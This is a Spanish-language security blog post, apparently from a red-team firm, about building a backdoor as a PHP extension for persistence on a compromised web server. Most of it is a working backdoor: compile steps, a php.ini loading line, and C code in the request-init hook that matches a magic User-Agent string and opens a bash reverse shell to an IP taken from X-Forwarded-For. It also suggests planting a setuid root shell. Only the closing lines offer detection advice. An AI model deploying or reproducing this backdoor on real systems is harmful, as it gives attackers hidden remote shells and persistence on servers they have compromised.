cabecera blog BlackArrow

Backdoors en el stack XAMP (parte I): extensiones PHP

Los servidores web expuestos a internet son un punto de entrada clásico durante los tests de intrusión y los ejercicios de Red Team. Asegurar la persistencia en estos activos perimetrales es clave para mantener un pivote sobre el que internarse en las redes del objetivo. Para lograr la persistencia existen infinidad de técnicas por las que optar, siendo lo más habitual combinarlas. En esta ocasión iniciamos una serie de posts donde relatamos cómo crear backdoors (extensiones PHP) para el stack XAMP (OS / Apache / MySQL / PHP) y utilizarlos en vuestros test de intrusión. Empezamos con los backdoors en forma de extensiones PHP.

Introducción a las extensiones PHP

Las extensiones PHP son librerías (.so en el caso de linux y .dll en el de windows) que amplían las capacidades que trae por defecto PHP, permitiendo añadir nuevos conjuntos de funciones que puedan ser invocadas desde los scripts PHP que se ejecuten. Las extensiones pueden ser cargadas automáticamente a través de su definición en el archivo php.ini con la directiva “extension” (extension=”/ruta/de/tu/extension”); o de forma dinámica desde el propio código del script PHP que va a ser ejecutado, utilizando la función dl() (aunque esta opción es poco usual dado que esta función suele estar deshabilitada por motivos de seguridad).

A parte de definir nuevas funciones para nuestros scripts PHP, las extensiones nos van a permitir indicar acciones a realizar en el momento en el que el interprete de PHP es iniciado o vaya a ser parado, y también cuando la ejecución de un script PHP es iniciada o va a ser finalizada. Esto es sumamente interesante puesto que nos van a permitir poder ejecutar código arbitrario en el momento en el que cualquier script sea ejecutado tras una petición HTTP, permitiendo que la acción sea totalmente transparente e independiente del script. Este código arbitrario puede ser una llamada a system()/popen() o iniciar una reverse shell.

Tiempo de vida de las extensiones PHP

Tiempo de vida de las extensiones PHP

El esquema de funcionamiento de nuestra extensión-backdoor será el siguiente:

1. Definiremos código que se ejecutará en el momento en el que se inicie la ejecución de cualquier script PHP
2. Nuestro código comprobará la cabecera USER-AGENT en busca de una palabra mágica
3. Si se cumple la condición del USER-AGENT, leemos la IP de la cabecera X-FORWARDED-FOR y enviamos una reverse shell contra ella

Por supuesto que el esquema podría diferir y ocultar la información en otras cabeceras, o utilizar otro modus operandi más disimulado para el disparador de la reverse shell.

Construyendo nuestras extensiones PHP

En primera instancia deberemos de montar un pequeño entorno de desarrollo, para lo cual deberemos de descargar la versión de PHP deseada desde la web de php.net , y proceder a su compilación:

$ cd php5
  $ ./configure  --with-config-file=/etc
  $ make

Para elaborar nuestra pequeña prueba de concepto generaremos un pequeño esqueleto base, y los archivos necesarios para configurar y compilar, utilizando la utilidad ext_skel:

$ cd ext
$ ./ext_skel --extname=backdoor
$ cd backdoor

De entre los archivos creados, destacamos el archivo backdoor.c, el cual contendrá el código fuente de nuestra extensión. En su interior observamos diferentes secciones, especial antención a las siguientes:

PHP_FUNCTION()

Se trata de aquellas funciones que serán exportadas para su uso desde los scripts PHP. Aquí podemos definir aquellas nuevas funciones que deseemos.

PHP_MINIT_FUNCTION()

El código inscrito dentro de esta sección será ejecutado en el momento en el que el intérprete de PHP sea iniciado. Usualmente el código que aquí se añada será ejecutado como root, por lo que es interesante como vía para ejecutar código con privilegios y, por ejemplo, copiar una shell a otra ruta y añadirle el suid de root.

PHP_MSHUTDOWN_FUNCTION()

Código que será ejecutado en el momento antes de parar el intérprete de PHP

PHP_RINIT_FUNCTION()

Ésta es la sección de la extensión que más nos interesa. Es la que se ejecutará cada vez que se inicie la ejecución de un script PHP, por lo tanto aquí deberemos de añadir la lógica de nuestro backdoor.

PHP_RSHUTDOWN_FUNCTION()

Código que se ejecuta al finalizar la ejecución del script

PHP_MINFO_FUNCTION()

Información que será mostrada en el phpinfo(). En nuestro caso lo utilizaremos como chivato para ver si se ha cargado correctamente la extensión.

Como primera prueba de que todo está correcto, editaremos la información mostrada en el PHPINFO():

PHP_MINFO_FUNCTION(backdoor)
{
   php_info_print_table_start();
   php_info_print_table_header(2, "PoC Backdoor", "enabled");
   php_info_print_table_end();
}

También descomentaremos las siguientes líneas del archivo config.m4:

  PHP_ARG_ENABLE(backdoor, whether to enable backdoor support,
	 Make sure that the comment is aligned:
	 [  --enable-backdoor           Enable backdoor support])

Procedemos a compilar nuestra primera prueba:

		$ phpize
		$ ./configure
		$ make

Si ningún error aparece, deberíamos de ver un mensaje como el siguiente y un archivo .so en la carpeta modules:

Compilación correcta de nuestra extensión PHP

Compilación correcta de nuestra extensión PHP

Por último editamos el archivo de configuración php.ini (/etc/php5/apache2/php.ini) y añadimos la línea:

extension=/ruta/de/nuestro/archivo/recien/creado.so

Al reiniciar el servidor Apache, y ejecutar un phpinfo(), deberíamos de ver el mensaje que habíamos establecido en nuestro código:

Extensión PHP instalada

Extensión PHP instalada

Confirmamos que nuestro esqueleto funciona. A partir de este instante comenzaremos a trabajar en las funcionalidades que nos interesan, siendo lo más interesante ver cómo podemos acceder a la información de los headers que llegan. Lo mejor para esto es analizar cómo lo hace el propio PHP en su código fuente. En el código fuente de “php_variables.c” vemos que registra las variables del servidor de la siguiente forma:

static inline void php_register_server_variables(void)
{
  zval *array_ptr = NULL;

  ALLOC_ZVAL(array_ptr);
  array_init(array_ptr);
  INIT_PZVAL(array_ptr);
  if (PG(http_globals)[TRACK_VARS_SERVER]) {
    zval_ptr_dtor(&PG(http_globals)[TRACK_VARS_SERVER]);
  }
  PG(http_globals)[TRACK_VARS_SERVER] = array_ptr;

  /* Server variables */
  if (sapi_module.register_server_variables) {
    sapi_module.register_server_variables(&PG(http_globals)[TRACK_VARS_SERVER]);
  }

El siguiente paso es obtener el valor de las cabeceras que queremos y que se han registrado ($_SERVER[‘HTTP_USER_AGENT’] y $_SERVER[‘HTTP_X_FORWARDED_FOR’]), y matchear contra nuestra password (que definimos como “MAGICWORD” -en nuestro cas0 “ka0labs”).

zval **http_user_agent;    
  zval **http_forwarded;

  if ( zend_hash_exists(HASH_OF(PG(http_globals)[TRACK_VARS_SERVER]), ZEND_STRS("HTTP_USER_AGENT")) ) {
      
      zend_hash_find(HASH_OF(PG(http_globals)[TRACK_VARS_SERVER]), ZEND_STRS("HTTP_USER_AGENT"), (void **)&http_user_agent);


      if ((strcmp(Z_STRVAL_PP(http_user_agent), MAGICWORD) == 0) && (zend_hash_exists(HASH_OF(PG(http_globals)[TRACK_VARS_SERVER]), ZEND_STRS("HTTP_X_FORWARDED_FOR")))) {
      
          zend_hash_find(HASH_OF(PG(http_globals)[TRACK_VARS_SERVER]), ZEND_STRS("HTTP_X_FORWARDED_FOR"), (void **)&http_forwarded);
          php_printf("Password: %s\nIP: %s\n\n", Z_STRVAL_PP(http_user_agent), Z_STRVAL_PP(http_forwarded));

      }
  }

Volvemos a compilar (añadiendo un include a SAPI.H para poder reutilizar el código de php_variables.c) y comprobamos con curl que, efectivamente, estamos guardando correctamente el valor de las cabeceras:

La extensión PHP muestra satisfactoriamente los datos

La extensión PHP muestra satisfactoriamente los datos

Por último finalizamos nuestra pequeña prueba de concepto añadiendo una reverse shell sencilla y típica:

 
//  (...)
      int sck; 
        struct sockaddr_in rhost;
        //char *IP = "127.0.0.1"; /* Direccion ip */
        unsigned short PORT = 31337; /* Puerto */
        
        rhost.sin_family = AF_INET; 
        rhost.sin_port = htons(PORT);
        rhost.sin_addr.s_addr = inet_addr(Z_STRVAL_PP(http_forwarded));
        memset(&(rhost.sin_zero), '\0', 8);
        
        sck = socket(AF_INET, SOCK_STREAM, 0);
        connect(sck, (struct sockaddr *)&rhost, sizeof(rhost));
     
       if(!fork())
       {

        setsid();
        dup2(sck, 0);
        dup2(sck, 1);
        dup2(sck, 2);        
        dup2(sck, 3);
        dup2(sck, 4);
        dup2(sck, 5);
        execl("/bin/bash", "/bin/bash", NULL); 
        close(sck);

    
        }

Volvemos a enviar una petición HTTP con la ayuda de cURL, indicando nuestra contraseña y la IP a la que deseamos que se conecte nuestra reverse shell:

Extensión PHP devolviendo una reverse shell a la IP indicada

Extensión PHP devolviendo una reverse shell a la IP indicada

Conclusión

Hemos podido observar lo fácil que es crear extensiones PHP maliciosas que permita retomar el control de un servidor web comprometido previamente. Es importante revisar los archivos de configuración del servidor para observar este tipo de modificaciones, y también es crucial comprobar que las extensiones que ya estaban instaladas no han sido sustituidas por otras con un backdoor.

Como dijimos al inicio del post, los servidores web expuestos al exterior son un punto caliente para los atacantes, por ello es necesario complementar un correcto bastionado con auditorías web.

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/

En TarlogicTeo y en TarlogicMadrid.

Más artículos de la serie Backdoors XAMP

Este artículo forma parte de una serie de articulos sobre Backdoors XAMP

  1. Backdoors en el stack XAMP (parte I): extensiones PHP
  2. Backdoors en el stack XAMP (parte II): UDF en MySQL
  3. Backdoors en el stack XAMP (parte III): modulos Apache